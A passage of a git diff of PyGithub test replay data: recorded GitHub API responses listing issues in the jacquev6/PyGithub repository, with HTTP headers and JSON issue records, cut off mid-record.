_identity","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-14T06:49:31Z","body":"","number":18,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/18","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/18","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3643837,"created_at":"2012-03-14T06:49:31Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Document issue reporting","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T12:09:48Z","body":"","number":17,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/17","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/17","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3628022,"created_at":"2012-03-13T12:09:48Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Add copyright and license notice","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T07:04:42Z","body":"","number":16,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/16","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/16","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3624595,"created_at":"2012-03-13T06:25:31Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework BaseUrl to use tuples instead of string concatenation","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:23:35Z","body":"","number":14,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/14","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/14","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3624570,"created_at":"2012-03-13T06:23:35Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Remove the _repo hugly hack","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:22:27Z","body":"","number":13,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/13","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/13","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3624561,"created_at":"2012-03-13T06:22:27Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Structure some InternalSimpleAttributes","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:21:57Z","body":"","number":12,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/12","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/12","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3624556,"created_at":"2012-03-13T06:21:57Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Publish version 1.0","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-12T21:58:05Z","body":"","number":9,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/9","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/9","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3619973,"created_at":"2012-03-12T21:58:05Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Review public interface homogeneity ","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-08T12:23:29Z","body":"","number":4,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/4","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/4","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3527266,"created_at":"2012-03-06T16:48:40Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Deduce mandatory parameters","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-19T06:42:43Z","body":"","number":3,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/3","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/3","labels":[{"color":"e102d8","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities"}],"id":3527245,"created_at":"2012-03-06T16:47:49Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Use objects as parameters instead of shas, ids, etc.","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-08T12:23:29Z","body":"","number":2,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/2","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/2","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3527231,"created_at":"2012-03-06T16:46:49Z"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt b/tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt index a99983599f..56bfecbc6f 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt @@ -52,4 +52,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '143568'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:34:11 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"36fb6631d2714acfd6169b3d779277e5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:35:13 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/88/events","html_url":"https://github.com/jacquev6/PyGithub/issues/88","id":6912733,"number":88,"title":"Use Python logging to log raw requests","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 